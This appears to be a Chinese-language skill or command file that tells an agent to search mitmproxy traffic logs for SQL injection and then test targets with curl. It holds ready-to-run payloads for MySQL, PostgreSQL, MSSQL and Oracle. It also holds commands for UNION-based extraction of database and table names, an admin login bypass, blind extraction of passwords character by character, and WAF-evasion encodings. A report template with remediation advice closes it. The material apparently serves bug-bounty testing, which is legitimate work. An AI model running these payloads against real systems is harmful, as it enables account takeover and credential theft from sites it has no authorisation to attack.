mitm-find-sqli

查找 SQL 注入漏洞

分析 mitmproxy 转储文件（log.txt），查找以下目标的 SQL 注入漏洞：$ARGUMENTS

需要：当前目录中必须有 log.txt。如果缺少该文件，请先捕获流量：

mitmdump --set flow_detail=3 2>&1 | tee log.txt

高价值 SQLi 模式（来自 99 份真实的 HackerOne 漏洞赏金报告）

1. 常见易受攻击的参数

经常存在 SQLi 漏洞的参数：

id, user_id, product_id, order_id, item_id
search, query, q, keyword, term, filter
sort, order, orderby, sortby, column
category, cat, type, status, name
from, to, start, end, date, time
page, limit, offset, per_page
callback, jsonp, format
file, path, template, view

搜索模式：

grep -iE '(id|search|query|sort|order|filter|category|name|type)[=:]["'\'']?[^&"'\'']+' log.txt

2. 注入点

URL 路径参数

/api/users/123 → /api/users/123'
/products/category/electronics → /products/category/electronics'--

查询参数

?id=1 → ?id=1' OR '1'='1
?search=test → ?search=test' UNION SELECT--
?sort=name → ?sort=name;DROP TABLE--

请求正文（JSON）

{"user_id": "1"} → {"user_id": "1' OR '1'='1"}
{"filter": {"name": "test"}} → {"filter": {"name": "test' OR '1'='1"}}

请求头

X-Forwarded-For: 127.0.0.1' OR '1'='1
Cookie: session=abc' UNION SELECT--

3. 特定数据库的有效载荷

MySQL

' OR '1'='1
' UNION SELECT NULL,NULL,NULL--
' AND SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

PostgreSQL

' OR '1'='1
'; SELECT pg_sleep(5)--
' UNION SELECT NULL,NULL,NULL--

MSSQL

' OR '1'='1
'; WAITFOR DELAY '0:0:5'--
' UNION SELECT NULL,NULL,NULL--

Oracle

' OR '1'='1
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' UNION SELECT NULL,NULL FROM DUAL--

检测技术

基于错误的检测

查找响应中的数据库错误：

grep -iE '(sql|mysql|oracle|postgres|sqlite|syntax error|query|database|ORA-|PG::|Microsoft SQL)' log.txt

基于时间的检测

使用 sleep 有效载荷进行测试，并测量响应时间：

# Baseline
time curl 'https://target.com/api/user?id=1'

# Test
time curl 'https://target.com/api/user?id=1%27%20AND%20SLEEP(5)--'

基于布尔值的检测

比较响应：

# True condition
curl 'https://target.com/api/user?id=1%20AND%201=1'

# False condition
curl 'https://target.com/api/user?id=1%20AND%201=2'

# Different response = potentially vulnerable

基于 UNION 的检测

# Find column count
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL,NULL--'

严重性评级

类型	严重性	影响
数据提取（UNION）	严重	完全访问数据库
身份验证绕过	严重	无需凭据即可登录
盲 SQLi（基于时间）	高	缓慢提取数据
基于错误的信息泄露	中	数据库结构泄露
有限注入（已过滤）	低	可能进一步利用

测试方法

步骤 1：识别输入点

# Find all parameters in traffic
grep -oE '[?&][a-zA-Z_]+=' log.txt | sort -u

# Find JSON body parameters
grep -oE '"[a-zA-Z_]+":' log.txt | sort -u

步骤 2：测试基本有效载荷

# Single quote test
curl 'https://target.com/api/item?id=1%27'

# Comment test
curl 'https://target.com/api/item?id=1--'

# Boolean test
curl 'https://target.com/api/item?id=1%20AND%201=1'

步骤 3：识别数据库类型

# MySQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@version--'

# PostgreSQL
curl 'https://target.com/api/item?id=1%27%20AND%20version()--'

# MSSQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@SERVERNAME--'

步骤 4：提取数据（如果存在漏洞）

# Get database name
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20database(),NULL,NULL--'

# Get table names
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20table_name,NULL,NULL%20FROM%20information_schema.tables--'

真实攻击场景

场景 1：身份验证绕过

Login form: username=admin&password=xxx
Payload: username=admin'--&password=anything
Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
Result: Logs in as admin without password

场景 2：通过 UNION 提取数据

Search: /api/search?q=test
Payload: /api/search?q=test' UNION SELECT username,password,email FROM users--
Query becomes: SELECT name,desc,price FROM products WHERE name='test' UNION SELECT username,password,email FROM users--
Result: Dumps user credentials

场景 3：盲 SQLi 数据提取

/api/user?id=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
Response time or content difference reveals if first char is 'a'
Repeat for each character position

WAF 绕过技术

编码

' → %27 → %2527 (double encode)
UNION → UnIoN (case variation)
SELECT → /*!SELECT*/ (MySQL comment)

替代语法

AND → &&
OR → ||
UNION SELECT → UNION ALL SELECT
' → "

注释注入

/**/UNION/**/SELECT/**/
UN/**/ION/**/SE/**/LECT

输出格式

## SQLi Finding: [Brief Description]

**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name` in [query|body|path|header]
**Database**: [MySQL|PostgreSQL|MSSQL|Oracle|Unknown]
**Type**: [Error-based|Union|Blind Boolean|Blind Time]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]

**Evidence**:
[Request with payload and response showing vulnerability]

**Payload Used**:
' OR '1'='1

**Impact**:
- Database dump possible
- Authentication bypass
- Data modification/deletion

**Test Command**:
curl 'https://target.com/api/...?id=1%27%20OR%20%271%27=%271'

**Remediation**:
- Use parameterized queries / prepared statements
- Input validation and sanitization
- Least privilege database accounts
- WAF rules for SQLi patterns

应忽略的误报

• 仅在客户端使用的参数
• 不会泄露数据库信息的错误
• 会阻止测试的速率限制端点
• 只接受特定格式（UUID、数字）的参数
• GraphQL 端点（注入模式不同）